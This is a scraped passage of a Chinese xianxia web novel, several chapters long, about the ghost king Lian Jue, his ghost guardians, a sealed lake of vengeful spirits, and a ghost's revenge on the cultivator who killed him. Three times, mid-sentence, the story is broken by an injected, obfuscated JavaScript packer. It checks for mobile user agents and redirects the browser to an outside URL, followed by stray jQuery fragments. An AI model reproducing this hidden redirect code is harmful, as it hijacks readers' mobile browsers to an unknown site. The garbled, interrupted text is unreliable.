秋苑指向被冰封住的长发和尚,喝道:“风宁,上,咬他!”
风宁二话不说就往前冲,宛若世间最矫健的狗,闪电般瞬移至长发和尚面前,泄愤似的猛起一拳,轰隆声响,坚硬的冰面隐隐开裂。
他的手微微颤动,抿着唇,半晌没吭声。
秋苑见此,手指向另一边瑟缩的瘦弱青年,“风宁,揍他!”
风宁闻言立即转过身,吃了教训,他的左手凝出一层护体灵光,这一拳,瘦弱青年受之必死无疑。
连绝开口打断道:“风宁,回来。”
那一拳最终还是没有落下去。
那青年也颤颤巍巍地睁开了眼,模糊中看到了林敬才的灵位牌,他意识到他此时此刻还能活在这里,正是因为他身上流着林敬才的血。
他猛地咽下口水,努力镇定,快快爬过来,一边磕头,一边求饶道:“鬼王爷爷,鬼王爷爷,我错了,我再也不敢了,是我混账,是我见钱眼开,我错了,我错了,您饶了我吧……”
说着,他匍匐着仰视那灵龛之上,小心道:“祖父,孙子错了,孙子也没办法,都是这妖僧逼我的,孙子再也不敢了,孙子以后一定好好孝敬您,做个好人……”
秋苑看着他又哭又悔的神色,呵笑一声,且道:“大王,他既然如此孝顺心系祖父,不若就让他日后长久地在祖父灵牌前赎罪好了。”
青年闻言,连忙表态道:“我愿意,我愿意,”他说着扇了自己一巴掌,恳切道,“是我混账,是我错了,纵然一生都给祖父守灵,我也愿意……”
“这可是你说的,”秋苑柔柔一笑,五指大张,她指节上的摄骨玲轻盈响动,只那一瞬间,青年就后悔了,惊恐地张开唇要叫要闹,一团灰蒙蒙的灵魂却从他嘴中溜了出来。
秋苑手捧灵魂,随意用泥土捏了只跪地赎罪的小人就将魂魄塞了进去,送到灵龛边,而那青年的身体,俨然成了一具空壳,面色惊恐地倒在了地上。
这一次,连绝没有阻拦。
青年在其左,而其右——四大护法皆抬起眼,看向了冰印里的长发和尚。
后者心腔猛震,眼瞳骤缩,用尽最后的力气破开冰层,吐血咬牙道:“连绝,你就不怕遭天谴?!”
“天谴,天谴,今天你遇到我,就是天谴,”风宁冷笑一声,逮着他就是一顿狠揍,又摁住长发和尚让他跪在地上给连绝磕头。
他仍然不从,纵然额头破出血痕,满面红血狼狈不堪,眼底仍然是深入骨髓的不甘与恨意。
他的腰,虽然被风宁强行压下来,但极硬。
连绝只沉默地看着这一切。
他没有亲自动手,当然也没有再阻拦他们,只是目光落在林敬才的灵位上时,沉寂的怒火渐渐成了恍若隔世、茫然无措的不确定与不真实感。
半晌后,他忍不住问:“重影,今年是天和几年了?”
重影呆了呆,语气逐渐复杂,“大王,今年是…新历七十七年。”
连绝闻言怔在原地,喃喃自语,“新历?”
此间忽而静了下来,四大护法,余下的净月宗等人,都看向他。
鬼王连绝诞生之日,史称,新历元年。
**
青云城外芦苇荡,正是开花的季节,白茫茫的芦花在空中静静飘扬,正如一张张寥落的白纸。
洋洋洒洒,铺天盖地。
而林敬言的尸骨,就在芦苇荡前的梦泽湖中。
那是一片如镜光滑的大湖,上面孤零零地飘着一口棺材,里面正装着一具白骨。
连绝踩上湖面,目光落在中间的棺材上。
他垂眸而见,回想起许多年前的许多年前。
也是这片芦苇荡,也是这片梦泽湖,林敬才正是从此处乘船离乡,他当时前来送行,却只见到湖面上一个渐渐远离的小小黑点。
他们没来得及见最后一面。
而经年以后…
一阵煞意忽而从湖底杀出,无数恶鬼攀爬而上,一刹那,静若安好的梦泽湖已为一副地狱绘图。
而更令人恶心的是那又腥又臭的气味,像一座久久发酵的尸山血海,腐烂、沉积,冲击力强得让人要将胃翻出来吐。
潭水已被搅了个底朝天,这一阵,宛如地动山摇,而天上尽是白茫茫的芦花,被狂风卷起,洋洋洒洒地往下掉,竟有种天地为之行丧的悲苦意。
风宁龇牙咧嘴地叫了一声,月情侧目一看,他身上被血水沾过的地方竟烧出了一个猩红大洞!
那些血水能灼烧魂魄!
而原先光洁如银玉盘显露出一潭赤红色,潭水正中心而去,水波之间,渐渐显露出一个封印了无数恶鬼、厉鬼的血阵。
它们嘶吼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950868|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,挣扎着,全身上下缠满了被血浸透的符文,那些符文死死地控制着它们,让它们愈发疯狂,甚至抵过了心中的恐惧,拼尽全力要从潭水中冲刺而出,将其上的连绝拽下无边炼狱。
“大王!”月情急呼。
连绝回过了头,脚踝上已经爬上了血色的骨骸,那些符文攀升而上,一点点缠紧了他的小腿。
风宁被血水砸得四处是洞,可他分毫不惧不怕,眼底露出和血阵一般无二地疯狂之色,他道:“毁了它,毁了它,把它们全部放出来!哈哈哈,大王,把它们都放出来!!!”
秋苑抬手扯住他,皱眉低斥道:“你闭嘴!”
她身上忽而一重,侧目一瞧面色骤然而变。
一身缟素的蜻蜓已全身尽是血洞,他修为最低,经受不住灼烧之痛,却一声没有吭,只眼瞳微微地涣散,无力地倒下来。
众鬼连忙围聚过来,将他护在其间,心焦唤道:“蜻蜓!”
不灭金仙见此飞速从梦泽湖上游动而来,将蜻蜓扶稳,那柔和的金光散发处一层无可侵扰的结界,将他们牢牢护在其间。
而唯连绝孤身落在湖中心。
狂风卷席,月情心若雷鸣,努力地睁眼看向梦泽湖。
他并无大碍,只神色沉冷,一边护着林敬才的尸骨,一边轻轻抬起手,指尖泛出金光,自上而下,渐渐落成点点金粒子,浇在躁动不安的血阵上。
月情听见了轰隆一声,她明显感觉那血阵要碎掉了。
除此之外,缠着厉鬼的符文竟然也在消解。
风宁紧紧盯着那摇摇欲坠的血阵,压抑住愤恨的声音,“只差一点了,只差一点点了。”
他神色疯狂,肆意大笑,眼珠子不住地转动,将手上淋满了血水的绸布猛地扔了出去,张大双手,“你们就要出来了,自由了,去杀尽天下所有人,去报仇,去宣泄心中的无边苦痛!”
回应他的是数不尽的厉鬼,它们在湖底挥舞着手,在夜色下恣意狂欢。
秋苑厉声骂了他一句,看见血阵隐隐破碎,阵下百鬼即将破阵而出,一阵心惊肉跳,“糟了!”
月情看着眼前这疯狂可怖的一幕,脑中嗡鸣一声,几近窒息。
她红着眼睛,看着潭水中唯一的亮色,即将被血红吞噬的金光,大叫道:“连绝!”
她不管不顾,跌跌撞撞地闯进了血阵,无数的凶煞戾气飞驰而来,底下的恶鬼察觉到她的意图,猛地伸出一只手把她狠狠地往下拽。
月情感觉自己都快和风宁一样疯了,她徒手撕碎了那只手,毫不留情地往底下恶鬼的脸上狠狠蹬了两脚,硬生生又爬了起来,她顾不上伤痛,急迫地大喊,“我知道你的委屈,我知道你的痛苦,我知道是他们用林敬才骗你,是他们对不起你,但你不能这么做!”
她终于顶着腥风血雨走到了他身前,月情抬起头,感受到了一丝温暖,被金光环绕的连绝,好似被阳光照耀,重新拥有了生命一般,空洞、木讷的眼睛,都有了光彩。
他伸出手,扶起了她。
温软的皮肤,柔韧而滚烫的掌心,好似一个烙印,烫得她拧紧了双眉。
她轻轻地吸气吐气,勉强平复下来,温柔地哄他,“我们回白鹿馆,回祁岭,回见云山,好不好?”
连绝的眼底泄出一些金色的光芒,随风飞逝,犹如金色眼泪。
他慢慢阖上眼,平静的语气里甚至多了一份飘渺。
“我给过机会,我不想杀人。”
这一刻,天地万物犹生而死,星辰明月碎裂如银沙,初生的朝阳明媚灿烈,刺目白炫之光如世界终结。
而她听见厉鬼凄厉挣扎的惨叫声,凌厉大风裹挟而飞的喧嚣声,岸边芦苇飘荡芦花四散的簌簌声。
以及,连绝冰冷的声音。
——“但从没有人给过我机会。”
30. 青云念(十四)
月情握住了他的手,平日里冰冷毫无温度的手此时此刻如烙铁,即使她用灵力护体,仍旧被灼烧至滚烫。
但她不避不惧,直视着他的眼睛,轻声说:“是他们错了,我一直知道,林师兄也知道。等你发泄完,我们一起去拜祭师兄可好?他很想念你,正如你一般想念着他,你去看他,他一定会很高兴的……”
温柔的声音融入夜风,轻轻送至他耳边,那一瞬间,似乎回到了许多年前。
他沉默了,睫毛轻微地颤动。
咔擦一声,湖面如破碎的镜面,四分五裂,抬眼去看,犹如三千破裂星辰,而所有的凶煞厉鬼皆封在其中,它们伸出利爪,面容扭曲而狰狞,迫切地往外砖去,只待一刻,便能重获自由,逍遥天地——
“是的,我要去拜祭他。”他低声喃喃,纤长的睫羽脆弱地闭合,藏住了深处的痛苦与郁色。
“我们一起去,”月情极轻极轻地说话,牵住他的手,引着他往岸边而行,温声说,“蜻蜓还在岸边等你,他们给你精心设计的节目你还没有看,还有许多小鬼……他们都在等你,等你回去……”
他看着她温柔如水的眼睛,从里面,竟然感受到了一丝温暖,就像小时候家里点夜的如豆灯火,极小的火光,却照耀了他暗沉的双眼。
他不由自主地跟上她的脚步,安静地在湖面上踩出步步涟漪。
夜色迷人,天地静谧,整个世间,好似只有他们两个。
恍惚中,月情听到了一阵温柔的轻哼声。
风儿吹,月儿照,
小娃娃睡觉觉。
灯儿亮,针儿动,
娘亲亲纺花花。
……
是一首童谣,好似有个温柔的妇人正在哄快要睡觉的孩子。
但是山野之间怎么会有妇人与小孩儿?
月情一怔,心底猛地升起一丝恐惧之意,她道:“连绝,捂住耳朵!”
但已经迟了,他失神地停留在原地,黑暗中,眼睛却隐隐泛着光,披散着长发,而发丝随风轻轻飘扬,迷蒙了他的双眼,眸色中透出无措。
那一瞬间,他就像个迷路的寻常少年,难过地寻不到回家的路,无助而茫然地立在那里,立在广袤的天地间,身后则是再也回不去的荒芜故乡。
他定在了此间。
不知该向前还是后退,不知该离开还是回头。
世间苍茫,万物寂寥。
一切的一切,如一粒蜉蝣之苦,深陷泥潭,游不动,走不得,活不来,死不了。
唯有不动,一动不动,沉溺泥潭,静等天明。
但离破晓更近的是一缕寒月般凌冽的银光。
那是一只缠着万千银丝的箭,她声落之时,它已呼啸飞杀而来——呲地声,猛然钉入他的额中心。
没入,燃烧,灼痛——
一呼一吸,一瞬之间。
月情呆住了,看着他,脑中一片空白,缓慢而迟疑地出声,“连……绝?”
他眼底的悲伤还未消逝,迷茫还未明悟。冰冷的身躯却已重新变得滚烫、灼热。
“嗯……”他的嘴唇轻轻地颤抖,似乎想说什么,眼眸却骤然而灭,如被雨打落的灯。
那死生不惧的魂魄更被灼成了星星点点的烟灰,不吹而散,随风而逝。
不…
不、不——
“不,不要,不要散,”月情嘶叫着,她不知道自己喉咙里发出了什么声音,她只知道自己疯了一般去夺那些灼烧成烟灰的魂魄,好似这样,她就能把连绝重新夺回来——
突然,他伸出了手,按住了她。
他转动了下眼珠,手心被眼泪啪嗒啪嗒地砸着,滚烫得令他颤抖,将要溢出地流动,一只手握不住,两只手捧不了。
要灌满他的心。
……
他不明白,为什么她哭得那般伤心,好似失去了极其重要的人。
他也不明白,为什么她的眼睛如此明亮,引人沉迷其中又让人患得患失。
他始终不明白,为什么她于他这样地熟悉又这样地陌生。
她是谁,她究竟是谁?
这一刻,天地寂寥,唯灵魂燃烧的余音。
可连绝却什么都不想管,只看着她,哑声问,“月情,你在梦里见到了怎样的我?”
月情疯狂摇头,她已经说不出一句完整的话,喉咙里滚出来的是极其混乱古怪的字句,只是死死地抓着他的手,不肯放开哪怕一个指头。
“别哭。”
他迟缓而本能地吐出这两个字,低而轻,明明是最生硬的字眼,却又是最温柔的语气。
月情死死咬住唇,她忍下了所有的眼泪,长久吸气,她说:“我梦到了极好、极好,”她哽咽了一声,颤颤着道:“极好的连绝。”
他闻言微微笑了笑,又低声道:“我让你失望了,我这么冷漠、木讷,一点儿也不好。”
月情握紧他的手,抿唇摇头,她忍住哭腔,道:“不,你从来都是最好的,什么样都是最好的。”
他只是轻轻喃喃,“我不好。”
月情低头死死咬住唇,喉咙像被千万斤的石头压住般沉重,心脏也近乎要停止跳动,鼻子酸得发痛、涩得更发痛。
短短三个字,轻到几不可闻,却让她濒临窒息。
“这世界上所有人都可以觉得你不好,”她哽咽着、颤抖着,擦去所有的眼泪抬头看着他,“唯独你自己不可以,连绝,连绝,唯独你自己不行。”
他看着她流泪,滚烫的泪水宛如地下灼灼翻腾的岩浆,点在他冰冷无知的手上,死寂一般没有任何地火花,正如这荒芜而又冰冷的湖水。
他终没有应她。
而是冷清地低语,兀自堕落于长夜之中,如幽鬼,如恶魔,“我杀过很多人,我是滔天灭世的恶鬼。”
那双眼中唯余一片死水般的冷漠与死寂,“你最讨厌的,最不喜的,一直都是我。”
月情的声音哽在喉咙里,她睫毛颤抖,呼吸困难,浑身都在发抖。
目光相视,他眼底渐渐流露出血腥的赤色,又悲怆地阖上,道:“以前是,以后也会是。”
她说过的,修仙界的人都爱打打杀杀,她最是不喜。
而他,即是源头。
月情盯着他眼底流露而出的赤色,双唇渐渐抿紧。
“连绝……”她轻轻地吸气,哽咽着忍住所有的哭腔,“除了你,每一个人打打杀杀我都不喜,除了你。”
发抖的声音,极力克制的声音在夜色之中轻轻地回响。
他哑然而无声。
月情哭着,笑着,哑着,轻声,“你是唯一的例外。”
不灭金仙已从河岸飞至梦泽湖心。
他没有再看那双眼睛,逃避一般地挪开。
燃烧的灵魂已经停止,不灭金仙同样为他所镀上一层金光。
立于天地间,如一尊所塑金身的神像,而常年漠然阴沉的眉眼也变得冷峻神性。
那枚万千银丝而成的法器也落入他手中,不灭金仙则递给了他一把长弓。
是他分外珍惜的那把弓。
他低着头,摩挲一二,神色渐渐变硬变冷。
再抬目,世间色彩唯余夺目璀璨的金。
而他,犹如审判人间善恶的神官。
不容置喙,神色无情,拉弓指向不远处的山崖,轻轻松弦,金箭顿如流星,划空而过,燎起草木,点燃一片黄金鬼火。
山崖上,无数的人影仓皇失措,在憧憧鬼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950869|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火间,无处可逃,无路可走。
月情轻哑地抬眸而见,那金色如流沙过境,在即将天亮的夜色里映出一片夺人炫目的迷离色彩,正如戏曲的最终落幕。
漫长,寂寥,只余死寂一般的余火灼烧音。
她吸了吸鼻子,染湿的睫毛轻微地动。
鬼火将熄,唯剩一架架烧尽血肉的焦骨扭曲铮动着从上直直坠落。
她恍惚一瞬。
迟钝地想。
他没有应她,他终没有应她。
……
世界终归于宁静。
月情无声地被秋苑接走,亦步亦趋地跟着他们去收敛、安葬林敬才的尸骨。
天光已大亮,刺得她眼睛生疼,红着眼圈不知道在忙什么,最后上了三支香,又从灵堂里出来了。
梦泽湖同样恢复静谧安详之景,芦苇荡照旧芦花飞扬,撒向碧波荡漾的湖水,透出郁郁葱葱的怡人景色。
月情走过来时,连绝正坐在岸边的秋千上,瞧着水中落下的飞鸟。
她静静地站了一会儿,又无声地走过去,抬手推了下秋千,他才回过神,偏头看向她,视线相触,又不知所言。
月情将秋千推得更高,他眼眸微微而动,长发随风流动,整个人都不自在起来,下意识地握紧了秋千绳。
她还想推得更高、更高一些,可这秋千年久失修,晃了两下就摇摇欲坠,隐隐断裂,连绝不由抿唇,从上面跳了下来。
下一刻,这秋千就啪嗒一声砸落在地。
月情顿了顿,眼神无辜地与他对视上,两相沉默中,他眨了下眼,低头看向那朽朽分裂的秋千,决定重新修葺一下。
她也跟着蹲下,安安静静待在他身边,不言不语,只默默地给他递东西。
连绝接过她递来的绳子,无意识地摩挲了一二,才偏目过来轻声问她,“不开心?”
月情心间微动,却摇了摇头,“是你不开心。”
她定定地看着他,目光坦荡而具有穿透力,令他失语不知所言。
良久后,连绝将秋千重新固定住,眺望起已经远走高飞的孤鸟,眸光微暗,“那天,我一个人坐在这里等了很久很久。”
他轻声说:“我们吵了一架,我没来得及见他最后一面,我以为,我们还会有再见的机会……”
但却没想到,那已经是许久许久以前的事了,久到一人早逝,一人老死,死生不曾相见。
“当然有,”清脆的声音忽而从身旁传过来。
连绝呆一瞬,转目看向她,那明亮的眼中漾出淡淡笑意,却是道:“可在梦中重逢。”
他动了动唇,又失落地垂眸,并没有说话。
月情看着他低头,扬声清脆道:“只要铭记,就永远没有分离。”
时光会记住那过去,他们的影子还在那段路上奔跑,纵然此刻只剩他一人,曾经的他们,也未有分离。
闭上眼睛,想念他的那一刻,看见他笑容的那一刻,那就是梦中重逢。
“连绝,”她叫他的名字,温声道:“人的终点是死亡,但想念的终点是遗忘。”
微风轻轻而过,湖水荡漾,飞鸟悬停,天际白云轻盈流动。
而她的声音比白云还柔软,比飞鸟还自由,比湖水还澄净,比微风更轻缓,“只要你不曾忘记。”
而他眼睫轻颤失神,心口像羽毛轻抚般细细发痒,终情不自禁地抬头看她,那双眼眸中正倒映着他的影子。
目光相视而对,澄净的眼璀璨而华如明珠而曜。
——人的终点是死亡,但想念的终点是遗忘。
只要你不曾忘记。
“我不会忘,”他终于应她,声音轻轻哑哑,为之加上一个漫长的期限,“永远不会。”
31. 见悲欢(一)
白鹿馆热闹了一晚上,天亮时终于偃旗息鼓。
青云城里的修士除净月宗一行人外皆不明所以地离开了,也道是戏终人散,唯“观众”们仍念念不忘。
他们围聚在一块儿,兴致勃勃地讨论哪个演出最精彩最得心,毫无天亮而伏的意思。
其中一个高昂指道:“我就爱看他们被雷劈,哈哈哈,这群傻叉修士,平时目中无人逮着老子劈,这会儿可算让他们也尝到这般滋味了!”
他全身焦黑,身上散发着难闻的气息,大家伙平日里都叫他老黑,听到他这么说,就有小鬼古怪发问,“老黑,难道你是被雷劈死的?”
“别提了,我在山下割猪草,不知道哪冒出个不长眼的修士把我劈死了,”老黑骂了一句,突然发现大家都不吭声了,直愣愣地看着他,他尴尬一瞬,又笑道:“嗐,死的怪叫人笑话的,哈哈哈,怪我倒霉,哈哈哈……”
没有一只小鬼应声,他额了声,笑意渐止,又示意其余鬼说点什么,笑一笑,好把气氛重新炒热。
这时候,门外却忽而传来一道不虞的声音,“没什么好笑的。”
老黑回头,看见来人一怔,动了动唇,“蜻蜓…护法……”
“这不就是草菅人命?”蜻蜓握紧了手,看着黑黢黢发焦发臭的老黑,胸膛忍不住起伏,“是谁?老黑,你说,你告诉我,我给你报仇!”
老黑呆了一瞬间,猛然间睁大了眼,却又迟语不知所言,“…真的?”
蜻蜓道:“当然是真的!杀人就该偿命,凭什么他们修士就高人一等?你别怕,只要你说,我一定帮你讨回公道!”
老黑看着他,动了动唇,想说些什么又觉得十分地矫情,最终只道:“我…谢了……”
此事说来并不复杂。
那是几年之前,他本在山下割猪草,却意外挨了一道雷光,死后鬼魂飘出,虽是微弱幽魂,却清晰地看见了一幻灵宫的弟子慌乱地冲下了山。
那一幕,他深刻地记在了心里,足足三年。
蜻蜓知道风宁惯会对付修仙界之人,特意将他带上,路上说了一遍缘由,风宁顿时恼怒不已。
他一把从乾坤袋里拿出大叠大叠最低阶的雷符,骂道:“王八蛋,居然敢动见云山的鬼,我要劈他九百九十九下!!!”
老黑拘谨地看向他,风宁不似蜻蜓,与小鬼们并不相熟,为人又有些疯癫且恶名远扬,他原先是有些怕他的。
不过今日……
看着那一叠低阶雷符,老黑蜷了蜷手指,半晌无言。
两三个时辰后,风宁轻悄悄地捉来了一斯斯文文的小道士。
他骂道,“老黑,你亲自来劈,把当初他伤你的全部还回去!”
老黑被塞了一手的符纸,有些受宠若惊,而看着眼前这一切,更觉像在做梦一样。
居然…也有人,不,是鬼为他出头。
“我……”他动了动唇,生前被莫名其妙劈死时没哭,这会儿握着那把雷符眼睛却热得厉害。
蜻蜓以为他不敢,宽慰他道,“不必害怕,风宁所做的符纸对鬼没有伤害的。”
老黑喉咙难咽地滚了一下,这才深吸一口气,抬目看向他生前害怕得罪,甚至不敢多看一眼的修士。
所见,却是一双惊恐的眼睛。
那一刻,他心中五味陈杂,原来他们也并非一直高高在上,原来他们也会感到害怕。
一道雷符劈下,小道士恐惧挣扎,他闷哼一声,在数道雷光划过的光影中,终于认出来眼前这个焦黑的弱小鬼魂是谁。
“是你——”他不敢置信,又咬牙切齿,眼珠瞪得死死的,“你竟然投了鬼王连绝!为什么?”
“因为我要报仇!”老黑怒声,他死死盯向他,“我只知道,杀我的是你,而我一定要报仇。”
小修士闻言,仿佛被巨锤狠狠砸了一锤,愤怒的脸立即变得惨白,他轻颤不止,想说什么,又无可言说,脑中唯有那个梦魇一般的下午。
他并非是有意的,他不是有意的,他不想杀人,从没想过——
他深吸了一口气,苍白的脸,乌黑的眼,道,“我不是故意的…不是的……真的,真的不是!”
抬目却见到老黑发焦如碳,甚至在掉灰渣的身躯。
小修士神色一震,心口发颤,双手不住地抖。不是故意的又如何,他的确杀了他,无可辩驳。
他哑声道:“我…我……”
他心知是错,却不肯认错。
老黑握紧了手中的符纸,压抑而沉重,他从未杀过人,但他没有犹豫,发泄一般狠狠劈了下去。
雷光大作,电闪雷鸣,那风采傲人的小修士终与他一般变得又焦又臭。
他看着他,心口沉郁的那一口气突然就散了。
“蜻蜓护法,风宁护法……”老黑话出而口舌含酸,竭力忍住又抬眼看向对面二鬼,却道不明心中意。
他只得抬起手笨拙地拜谢,却在低下头的一刻,哽咽着消散于空中。
“老黑——”蜻蜓未料到他离开得如此突然,惶惶地抓过去。
但只剩下一手的空,他顿时哑然在原地,良久呆滞。
风宁却敏锐地觉察到一丝不对劲,目光一凛,抓住他的肩头立即蹿了出去。
“风宁?”蜻蜓的声音被裹碎在长风里。
一股凛然气息骤然而降,那是一道贯穿旷野的掌风!
气波震荡,如雷贯耳,是问天巅峰境的强势碾压!
只此一掌,直接将他们身后的平原劈裂成一道裂谷,其中无数的飞沙走石、林木灌丛皆化为灰烬。
饶是风宁这等以快著称的恶鬼也才险险逃过。
第二掌,却已然接踵而至。
风宁心知躲不过去了,他猛地将蜻蜓推了出去,手持凝光剑,转身迎上。
蜻蜓看着他的背影,心落谷底,大叫道:“风宁!”
风宁只厉声道:“跑!快跑!”
但已经来不及,那人已经现身,落到了蜻蜓身前。
正是幻灵宫宫主长孙灼。
他擒住蜻蜓,冷冷道:“两只没有鬼王就一无是处的宵小也敢来犯我幻灵宫?”
风宁一剑抵御掌风,一身缟素破裂开来,刮出道道伤痕,握住凝光剑的手微微颤抖,可他不惧不怕,直直站在半空中,微抬手以剑指人,阴沉道:“放开他,要杀要剐冲我来。”
蜻蜓被压着动弹不得,他竭尽全力抬头,双目血红,沉声喝道:“别管我,你快跑,你有机会跑!”
长孙灼的手蓦地往下一按,他痛嘶一声,又立即咬牙吞声。
风宁神色一变,手愈收愈紧,语气阴冷而一字一顿,“我说,放手。”
长孙灼威势迫人,“只要我想,你们两个今天都得死在这。”
风宁冷笑道:“你尽管动手,只要你敢杀,明天幻灵宫就会变成一片血色地狱。”
长孙灼闻言神色微变。
风宁捕捉到他细微的表情,嗤笑一声,道:“就凭你们也敢把主意打在大王身上,想得到挺美。”
他的神色愈发地难看。
而周身之气流飞速旋转凝结,压抑出一无边界域,令飞沙、走石、浮云、流光,无一不震,无一不颤!
但那又如何?
岂不见光天化日之下,朗朗乾坤在上,鼠辈宵小、邪魔外道却敢入幻灵宫如无人之地,杀修仙子弟如草芥微尘。
枉他一代宗师,数十载的修炼,今日两只小鬼就在眼前,却报不了仇,灭不了魔,正不了天!
“嗡”——
气旋飞杀而去,缕缕如箭,风宁却不惧不避,目光如炬,已然胜券在握。
长孙灼握紧了手,不甘而怒。
良久对峙,所有气旋却化风而无……
他到底松开了手,神色疲惫,怅然低叹道,“这修仙界的天,何时能亮?”
“……”
一呼一吸间,风宁已带着蜻蜓飞出了千里之远。
蜻蜓头痛不止,紧紧抓着他,手摸到微微湿润粘稠的血,才猛然反应过来。
他动了动唇,难受道:“风宁,你受伤了……”
“没事儿,”风宁满不在乎,又骂骂咧咧道:“他在那嘀嘀咕咕个什么,还修仙界的天何时能亮,蜻蜓你看,现在天正亮着,太阳挂得老高了。”
蜻蜓下意识抬头。
天空澄净,太阳明媚灼烈,整个世界都在发亮发光。
但长孙灼明显不是这个意思,风宁根本没明白其中的深意。
可是,这不重要。
至少,老黑的天亮了,而太阳,真的在升起。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950870|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
**
月情和连绝回到白鹿馆时,风宁正披着他那麻袋一般的破衣裳,威风凛凛,煞有其事道:“说时迟,那时快,我一个剑花挽过去,长孙灼竟然没有反应过来,哈哈哈,那一剑贯穿日月,直直捅破了他的胸,他狂吐血晕到两眼昏花,竟然是看不清太阳分不清天亮天暗了,哈哈哈哈哈哈。”
小鬼们被他唬得团团转,眼眸灼灼地听他如何如何为老黑报仇雪恨又是如何如何令幻灵宫主求饶,可谓是险象环生,义薄云天,啧啧称奇。
更是可着劲给他鼓掌。
蜻蜓:“……”
月情瞧了眼,好奇道:“风宁在讲什么?”
蜻蜓看见她和连绝,动了动眼眉,默默将方才发生的事如实地重复了一遍。
她闻言微微抿唇,目光在其余小鬼身上逛了一圈,他们的死相各异,寿终正寝的,竟一个也没有。
风宁肆意的笑声还在继续,小鬼们拥簇着他一块儿,简直是群魔乱舞,肆意放荡,毫无忌讳。
她沉默良久,最后道:“有时候不太清醒也是件好事。”
蜻蜓闻言慢慢抬起眸子,盯向正中间嬉笑的风宁,深切道:“你说得对。”
两人对视一眼,忽而由衷地起手合拍了一掌,宛如高山遇流水的知音,眼神定定,又纷纷叹气,坐在角落里,阴暗地盯着被灯照亮欢腾大笑不知愁滋味的风宁。
“……”
连绝闻言抿了抿唇,因而习惯,他不悲也不喜。
只安安静静地坐下,而手心微微鼓起,一只通体漆黑但羽毛炫彩的乌雀鸟被他轻轻握住。
他失神地摩挲了一会儿。
忽而,他侧目看向角落,注意到一丝不寻常,眼眸中划过疑惑,又抬起手,从虚无中引来了一团模糊的弱小灵魂。
那团灵魂极其弱小,甚至没有人形,比之寻常人初生的灵魂也小了一大半,一眼便知不对劲。
他捧在手里,蹙眉问蜻蜓道:“他是谁?”
蜻蜓愣了愣,很快认出来,“我也不知道,这小家伙是一个月前飘过来的,力量很弱,我以为他一会儿就溃散了,但没想到一直坚持到了现在,可他也没有显形,实在是奇怪。”
连绝捧着那团微弱的灵魂,隐约感觉到他在颤动,他不由低下头凑近了一些,而那团弱小的灵魂正轻微地跳动着,模模糊糊,又恐惧地,一味地,只重复着两个字:“救命、救命、救命……”
那团灵魂颤抖着,唯一的余念中,连绝听到了一阵癫狂而痛苦的笑声,紧接着,空洞的世界里传来了如野兽般撕咬皮肉的啃食声。
那一瞬间,他额中心忽而炸出一道金光,不灭金仙骤然出现,竟然探出一森森五爪,不见昨夜之慈悲,面目狠辣至极,竟是要将那团弱小灵魂生生撕碎!
连绝眸中划过诧异,伸手挡住了她。
不灭金仙却比之前他被那银箭击中更紧张更惶恐,甚至不惜出手伤他也要撕碎那弱小灵魂。
连绝眉心一蹙,手心中多了一封灵玉,他将弱小灵魂封入其间,隔绝开不灭金仙的手。
后者只能眼睁睁看着,模糊的金影微微发抖,紧紧握拳,不知是怒极、慌极还是惧极。
月情心中闪过一丝异样,这一缕金影虽然与连绝沾染着极重的因果,但面目太慈悲,眉间更是垂怜大爱,只一眼便会令人心生敬畏,犹如世间难得之金尊菩萨。
纵然是连绝的死对头,恨他入骨的修仙界众人也为她的神性而折服,取名为之不灭金仙,供其成神为金仙。
可此时此刻的她,却是比这里所有的厉鬼看起来都凶狠、吓人,毫无昔时仙风道骨之姿。
连蜻蜓也被她吓住,结巴道:“大大大…大王,她怎么了?”
连绝垂眼瞧向手中冰凉的封灵玉,眉心微拧,“这灵魂不是天生弱小,而是被一恶鬼吃了大半,那恶鬼极其强大,一缕残念留存在他身上,被不灭金仙觉察,才引得她如临大敌。”
蜻蜓呆住了,“啊。”
月情看向心绪不宁的不灭金仙,微微失神,这时,她忽而意识到什么,蓦然抬首道:“大王,这小鬼魂是一个月前来的。”
她没说完,但其余两只鬼瞬间明白了她的意思。
一个月的时间,已足够那只极其强大的恶鬼杀人食魂无数次。
32. 见悲欢(二)
修仙界东南港城卢嘉城。
就在一个月内,此城中屡屡有人暴毙、失踪,虽然附近的宗门万剑宗已派出过不少修士查探情况,但直至今日他们也没有明确究竟是何物所为,只初步确认是一只恶鬼。
而妖魔鬼怪这四等,其余三等作乱大多没有因由,皆出于本能。唯有作恶之鬼与之相反,是其中最难言说最为棘手最不好化解之乱。
一般的除妖破邪中,其中邪祟的修为几何是最重要的。
